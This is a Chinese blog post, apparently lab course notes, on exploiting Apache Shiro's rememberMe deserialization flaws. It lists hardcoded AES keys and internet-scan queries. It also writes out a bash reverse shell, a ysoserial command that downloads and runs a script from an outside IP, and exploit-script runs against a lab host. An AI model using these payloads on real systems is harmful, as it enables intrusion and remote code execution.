{"id":1567,"date":"2025-01-19T22:28:40","date_gmt":"2025-01-19T14:28:40","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1567"},"modified":"2025-01-19T22:28:41","modified_gmt":"2025-01-19T14:28:41","slug":"04-shiro-%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/19\/04-shiro-%e6%bc%8f%e6%b4%9e\/","title":{"rendered":"04.Shiro \u6f0f\u6d1e"},"content":{"rendered":"<h2>\u4e00\u3001Shiro \u7b80\u4ecb<\/h2>\n<p>Apache Shiro \u662f\u4e00\u4e2a\u7075\u6d3b\u4e14\u5168\u9762\u7684 Java \u5b89\u5168\u6846\u67b6\uff0c\u5b83\u4e3a\u73b0\u4ee3\u5e94\u7528\u7a0b\u5e8f\u63d0\u4f9b\u4e86\u8ba4\u8bc1\u3001\u6388\u6743\u3001\u52a0\u5bc6\u548c\u4f1a \u8bdd\u7ba1\u7406\u7b49\u6838\u5fc3\u5b89\u5168\u529f\u80fd\u3002Shiro \u7684\u8bbe\u8ba1\u76ee\u6807\u662f\u7b80\u5355\u6613\u7528\uff0c\u540c\u65f6\u63d0\u4f9b\u5f3a\u5927\u7684\u5b89\u5168\u6027\uff0c\u9002\u7528\u4e8e\u4ece\u5c0f\u578b\u5e94\u7528\u7a0b \u5e8f\u5230\u5927\u578b\u4f01\u4e1a\u7ea7\u5e94\u7528\u7684\u591a\u79cd\u573a\u666f\u3002<\/p>\n<h2>\u4e8c\u3001Shiro \u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>1.Shiro \u7ec4\u4ef6\u8bc6\u522b<\/h3>\n<ul>\n<li>\n<p>\u6293\u5305\u5206\u6790\uff1a\u5728\u8bbf\u95ee\u53ca\u767b\u5f55\u65f6\u6293\u5305\uff0c\u5982\u679c\u54cd\u5e94\u5934 set-cookie \u4e2d\u663e\u793a rememberMe=deleteMe\uff0c\u8bf4\u660e\u4f7f\u7528\u4e86 Shiro \u7ec4\u4ef6<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115184621.png\" alt=\"Pasted image 20250115184621.png\"><\/p>\n<\/li>\n<li>\n<p>\u54cd\u5e94\u5185\u5bb9\u5206\u6790\uff1a\u6709\u65f6 Shiro \u4f1a\u5728\u54cd\u5e94\u4e2d\u8bbe\u7f6e\u7279\u5b9a\u7684 cookie \u540d\u79f0\uff0c\u4f8b\u5982\u00a0shiroCookie\uff0c\u8fd9\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u8bc6\u522bShiro \u4f7f\u7528\u7684\u4f9d\u636e\u3002<\/p>\n<\/li>\n<li>\n<p>\u5982\u679c\u767b\u5f55\u9875\u9762\u51fa\u73b0Remember Me(\u8bb0\u4f4f\u6211)\uff0c\u53ef\u80fd\u662f\u4f7f\u7528\u4e86Shiro \u7ec4\u4ef6<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115184722.png\" alt=\"Pasted image 20250115184722.png\"><\/p>\n<\/li>\n<\/ul>\n<h3>2.Shiro \u8d44\u4ea7\u641c\u7d22<\/h3>\n<p>\u901a\u8fc7 fofa\u3001zoomeye\u3001shodan \u8fd9\u7c7b\u5e73\u53f0\u641c\u7d22\u76f8\u5173\u7279\u5f81\u6765\u53d1\u73b0\u76ee\u6807\u3002<\/p>\n<pre><code>header=&quot;rememberme=deleteMe&quot;\n\nheader=&quot;shiroCookie&quot;\n<\/code><\/pre>\n<h3>3.Shiro-550 \u6f0f\u6d1e\u5229\u7528<\/h3>\n<h4>1\uff09\u6f0f\u6d1e\u539f\u56e0<\/h4>\n<p>Apache Shiro\u6846\u67b6\u63d0\u4f9b\u4e86\u8bb0\u4f4f\u5bc6\u7801\u7684\u529f\u80fd(RememberMe),\u5173\u95ed\u6d4f\u89c8\u5668\u518d\u6b21\u8bbf\u95ee\u65f6\u65e0\u9700\u518d\u767b\u5f55\u5373\u53ef\u8bbf\u95ee\u3002\u7528\u6237\u767b\u5f55\u6210\u529f\u540e\u7528\u6237\u4fe1\u606f\u4f1a\u7ecf\u8fc7\u52a0\u5bc6\u7f16\u7801\u540e\u5b58\u50a8\u5728cookie\u4e2d\u3002\u5728Cookie\u8bfb\u53d6\u8fc7\u7a0b\u4e2d\u6709\u7528AES\u5bf9Cook1e\u503c\u89e3\u5bc6\u7684\u8fc7\u7a0b\uff0c\u5bf9\u4e8eAES\u8fd9\u7c7b\u5bf9\u79f0\u52a0\u5bc6\u7b97\u6cd5\uff0c\u4e00\u65e6\u5bc6\u94a5\u6cc4\u9732\u52a0\u5bc6\u4fbf\u5f62\u540c\u865a\u8bbe\u3002\u82e5\u5bc6\u94a5\u53ef\u63a7\uff0c\u540c\u65f6Cookie\u503c\u662f\u7531\u653b\u51fb\u8005\u6784\u9020\u7684\u6076\u610fPayload,\u5c31\u53ef\u4ee5\u5c06\u6d41\u7a0b\u8d70\u901a\uff0c\u89e6\u53d1\u5371\u9669\u7684java\u53cd\u5e8f\u5217\u5316\uff0c\u4ece\u800c\u5bfc\u81f4\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u3002<\/p>\n<p>shiro\u9ed8\u8ba4\u4f7f\u7528\u4e86CookieRememberMeManager,\u5176\u5904\u7406cookie\u7684\u6d41\u7a0b\u662f\uff1a<br \/>\n\u83b7\u53d6 rememberMe\u7684cookie\u503c \u2013&gt; Base64\u89e3\u7801 \u2013&gt; AES\u89e3\u5bc6 \u2013&gt; \u53cd\u5e8f\u5217\u5316<\/p>\n<p>\u4f46\u662fAES\u52a0\u5bc6\u7684\u5bc6\u94a5Key\u88ab\u786c\u7f16\u7801\uff08\u5bc6\u94a5\u521d\u59cb\u5c31\u88ab\u5b9a\u4e49\u597d\u4e0d\u80fd\u52a8\u6001\u6539\u53d8\u7684\uff09\u5728\u4ee3\u7801\u91cc\uff0c\u8fd9\u5c31\u610f\u5473\u7740\u6bcf\u4e2a\u4eba\u901a\u8fc7\u6e90\u4ee3\u7801\u90fd\u80fd\u62ff\u5230ES\u52a0\u5bc6\u7684\u5bc6\u94a5\u3002\u56e0\u6b64\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u6076\u610f\u7684\u5bf9\u8c61\uff0c\u5e76\u4e14\u5bf9\u5176\u5e8f\u5217\u5316\uff0cAES\u52a0\u5bc6\u3001base64\u7f16\u7801\u540e\uff0c\u4f5c\u4e3acookie\u7684rememberMe\u5b57\u6bb5\u53d1\u9001\u3002Shiro\u5c06rememberMe\u8fdb\u884c\u89e3\u5bc6\u5e76\u4e14\u53cd\u5e8f\u5217\u5316\uff0c\u6700\u7ec8\u5c31\u9020\u6210\u4e86\u53cd\u5e8f\u5217\u5316\u7684RCE\u6f0f\u6d1e\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115174057.png\" alt=\"Pasted image 20250115174057.png\"><\/p>\n<p>\u53ea\u8981 rememberMe \u7684 AES \u52a0\u5bc6\u5bc6\u94a5\u6cc4\u9732\uff0c\u65e0\u8bba shiro \u662f\u4ec0\u4e48\u7248\u672c\u90fd\u53ef\u80fd\u4f1a\u5bfc\u81f4\u8be5\u6f0f\u6d1e\u7684\u4ea7\u751f\u3002\u786c\u7f16\u7801\u662f\u5c06\u6570\u636e\u76f4\u63a5\u5d4c\u5165\u5230\u7a0b\u5e8f\u6216\u5176\u4ed6\u53ef\u6267\u884c\u5bf9\u8c61\u7684\u6e90\u4ee3\u7801\u4e2d\u3002\u5982\u679c\u5728\u8fd4\u56de\u5305\u7684 Set-Cookie\u4e2d\u5b58\u5728\u00a0 rememberMe=deleteMe\u00a0 \u5b57\u6bb5\uff0c\u90a3\u4e48\u5c31\u53ef\u80fd\u5b58\u5728\u6b64\u6f0f\u6d1e\u3002<\/p>\n<p>\u5e38\u89c1 key\uff1a<\/p>\n<pre><code>kPH+bIxk5D2deZiIxcaaaA== (1.2.4\u9ed8\u8ba4key)\n2AvVhdsgUs0FSA3SDFAdag==\n4AvVhmFLUs0KTA3Kprsdag==\n3AvVhmFLUs0KTA3Kprsdag==\nwGiHplamyXlVB11UXWol8g==\nZ3VucwAAAAAAAAAAAAAAAA==\n6ZmI6I2j5Y+R5aSn5ZOlAA==\nZUdsaGJuSmxibVI2ZHc9PQ==\n1QWLxg+NYmxraMoxAXu\/Iw==\n<\/code><\/pre>\n<h4>2\uff09\u5f71\u54cd\u7248\u672c<\/h4>\n<p>Apache Shiro &lt;= 1.2.4\uff08\u9700\u8981\u83b7\u53d6AES\u79d8\u94a5\uff09<\/p>\n<h4>3\uff09\u5229\u7528\u7ec4\u4ef6<\/h4>\n<p>org.apache.commons\u4e2d\u7684commons-collections4(\u7406\u8bba\u4e0acommons-collections2\u4e5f\u6709)<\/p>\n<h4>4\uff09\u5229\u7528\u4f4d\u7f6e<\/h4>\n<p>\u4efb\u610f http \u8bf7\u6c42\u4e2d cookie \u5904 rememberMe \u53c2\u6570<\/p>\n<h4>5\uff09\u7279\u5f81\u5224\u65ad<\/h4>\n<p>\u8fd4\u56de\u5305\u4e2d\u5305\u542b rememberMe=deleteMe \u5b57\u6bb5\uff0c\u8ba4\u8bc1\u5931\u8d25\u65f6\u4f1a\u8bbe\u7f6edeleteMe \u7684 cookie<\/p>\n<p>Set-Cookie: rememberMe=deleteMe; Path=\/; Max-Age=0;<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115184534.png\" alt=\"Pasted image 20250115184534.png\"><\/p>\n<h4>6\uff09Payload \u6784\u9020<\/h4>\n<p>Payload \u4ea7\u751f\u7684\u8fc7\u7a0b\uff1a<br \/>\n\u547d\u4ee4 =&gt; \u5e8f\u5217\u5316 =&gt; AES \u52a0\u5bc6 =&gt; base64 \u7f16\u7801 =&gt; RememberMe Cookie \u503c<\/p>\n<p>\u4f7f\u7528ShiroVulnExp<\/p>\n<p>\u751f\u6210 Shiro \u6f0f\u6d1e\u6d4b\u8bd5 Cookie<\/p>\n<pre><code>python shiro_test_poc.py &quot;ls&quot;\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115183946.png\" alt=\"Pasted image 20250115183946.png\"><\/p>\n<h4>7\uff09\u6f0f\u6d1e\u5229\u7528<\/h4>\n<h5>\uff081\uff09\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u9ed8\u8ba4\u7684 key \u53ca\u6f0f\u6d1e<\/h5>\n<p>\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528 Shiro_exploit \u811a\u672c\uff0c\u83b7\u53d6\u9ed8\u8ba4 key<\/p>\n<pre><code>python shiro_exploit.py -u http:\/\/c2a6d514ff64.target.yijinglab.com\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115220524.png\" alt=\"Pasted image 20250115220524.png\"><\/p>\n<p>\u6216\u8005\u4f7f\u7528\u5176\u4ed6\u5de5\u5177\u83b7\u53d6\u5bc6\u94a5<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115220624.png\" alt=\"Pasted image 20250115220624.png\"><\/p>\n<h5>\uff082\uff09VPS \u76d1\u542c\u53cd\u5f39shell<\/h5>\n<h5>\uff083\uff09VPS \u5229\u7528\u53cd\u5e8f\u5217\u5316\u5de5\u5177\u751f\u6210 payload<\/h5>\n<h6>\u65b9\u6cd5\u4e00<\/h6>\n<pre><code>echo &quot;bash -i &gt;&amp; \/dev\/tcp\/120.79.150.243\/7777 0&gt;&amp;1&quot; &gt; b.sh\n\npython -m http.server\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115222338.png\" alt=\"Pasted image 20250115222338.png\"><\/p>\n<p>CommonsCollections4\uff1a<br \/>\n\u662fApache Commons Collections \u5e93\u7684\u4e00\u4e2a\u7248\u672c\uff0c\u5e7f\u6cdb\u7528\u4e8e Java \u5f00\u53d1\u4e2d\u3002\u5176\u4e2d\u67d0\u4e9b\u7c7b\u4f1a\u88ab\u6076\u610f\u5229\u7528\uff0c\u5bfc\u81f4\u53d1\u751fjava\u53cd\u5e8f\u5217\u5316\u3002<\/p>\n<pre><code>java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 &quot;curl http:\/\/120.79.150.243:8000\/b.sh -o \/tmp\/b.sh&quot;\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115222324.png\" alt=\"Pasted image 20250115222324.png\"><\/p>\n<p>\u6267\u884c shiro_poc_test.py \u811a\u672c\u6784\u9020\u751f\u6210\u4e0b\u8f7db.sh\u7684cookie:<br \/>\n\u8be5cookie\u4f1a\u6267\u884c\u4e0a\u9762\u547d\u4ee4\u4e2d\u7684\u4e0b\u8f7d\u547d\u4ee4<\/p>\n<pre><code>python shiro_poc_test.py 120.79.150.243:9999\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115223123.png\" alt=\"Pasted image 20250115223123.png\"><\/p>\n<p>\u53d1\u5305\u6210\u529f\u540e\uff0cShiro \u63a5\u6536\u5e76\u6267\u884c\u53cd\u5e8f\u5217\u5316 payload\uff0c\u8bf7\u6c42 JRMP \u76d1\u542c\u7aef\u53e3\uff1a<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115223211.png\" alt=\"Pasted image 20250115223211.png\"><\/p>\n<p>\u6784\u9020\u6267\u884c b.sh \u811a\u672c\u7684 cookie\uff1a<\/p>\n<pre><code>java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 &quot;bash \/tmp\/b.sh&quot;\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115223602.png\" alt=\"Pasted image 20250115223602.png\"><\/p>\n<p>\u811a\u672c\u751f\u6210cookie\uff1a<\/p>\n<pre><code>python shiro_poc_test.py 120.79.150.243:7777\n<\/code><\/pre>\n<p>\u7136\u540e\u628a cookie \u503c\u4ee3\u5165\u8bf7\u6c42\u4e2d\u53d1\u9001\uff1a<\/p>\n<p>\u63a5\u6536\u5230\u6765\u81ea shiro \u4e3b\u673a\u7684\u8bf7\u6c42\uff1a<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115224006.png\" alt=\"Pasted image 20250115224006.png\"><\/p>\n<p>\u6210\u529f\u6267\u884c bash \/tmp\/b.sh \u547d\u4ee4\uff0c\u5f97\u5230\u53cd\u5f39 shell\uff1a<\/p>\n<h6>\u65b9\u6cd5\u4e8c<\/h6>\n<h4>8\uff09\u811a\u672c\u5229\u7528<\/h4>\n<ul>\n<li>\u542f\u52a8\u811a\u672c\uff0c\u751f\u6210payload<\/li>\n<\/ul>\n<pre><code>python shiiro_exp_550.py\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115225125.png\" alt=\"Pasted image 20250115225125.png\"><\/p>\n<ul>\n<li>\n<p>\u53d1\u9001payload<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115225335.png\" alt=\"Pasted image 20250115225335.png\"><\/p>\n<\/li>\n<li>\n<p>\u83b7\u53d6\u53cd\u5f39shell<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115225146.png\" alt=\"Pasted image 20250115225146.png\"><\/p>\n<\/li>\n<\/ul>\n<h3>4.Shiro-721 \u6f0f\u6d1e\u5229\u7528<\/h3>\n<p>Shiro rememberMe \u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<\/p>\n<h4>1\uff09\u6f0f\u6d1e\u539f\u56e0<\/h4>\n<p>\u7531\u4e8e Apache Shiro cookie \u4e2d\u901a\u8fc7 \u901a\u8fc7 AES-128-CBC \u6a21\u5f0f\u52a0\u5bc6\u7684 rememberMe\u5b57\u6bb5\u5b58\u5728\u95ee\u9898\uff0c\u7528\u6237\u53ef\u901a\u8fc7Padding Oracle \u52a0\u5bc6\u751f\u6210\u7684\u653b\u51fb\u4ee3\u7801\u6765\u6784\u9020\u6076\u610f\u7684 rememberMe \u5b57\u6bb5\uff0c\u5e76\u91cd\u65b0\u8bf7\u6c42\u7f51\u7ad9\uff0c\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u653b\u51fb\uff0c\u6700\u7ec8\u5bfc\u81f4\u4efb\u610f\u4ee3\u7801\u6267\u884c<br \/>\nrememberMe cookie \u901a\u8fc7 AES-128-CBC \u6a21\u5f0f\u52a0\u5bc6\uff0c\uf9e0\u53d7\u5230Padding Oracle \u653b\u51fb\u3002\u53ef\u4ee5\u901a\u8fc7\u7ed3\u5408\u6709\u6548\u7684 rememberMe cookie \u4f5c\u4e3aPadding Oracle \u653b\u51fb\u7684\u524d\u7f00\uff0c\u7136\u540e\u7cbe\u2f3c\u5236\u4f5c rememberMe \u6765\u8fdb \u2f8f\u53cd\u5e8f\uf99c\u5316\u653b\u51fb\u3002<br \/>\n\u6ce8\u610f\uff1a \u5728 1.2.4 \u7248\u672c\u540e\uff0cshiro \u5df2\u7ecf\uf901\u6362 AES-CBC \u4e3a AES-GCM \uff0c\u65e0\u6cd5\u518d\u901a\u8fc7 Padding Oracle \u904d\u5386<\/p>\n<p>\u8be6\u60c5\u89c1\u8bfe\u4ef6<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001Shiro \u7b80\u4ecb Apache Shiro \u662f\u4e00\u4e2a\u7075\u6d3b\u4e14\u5168\u9762\u7684 Java \u5b89\u5168\u6846\u67b6\uff0c\u5b83\u4e3a\u73b0\u4ee3\u5e94\u7528\u7a0b\u5e8f\u63d0\u4f9b\u4e86 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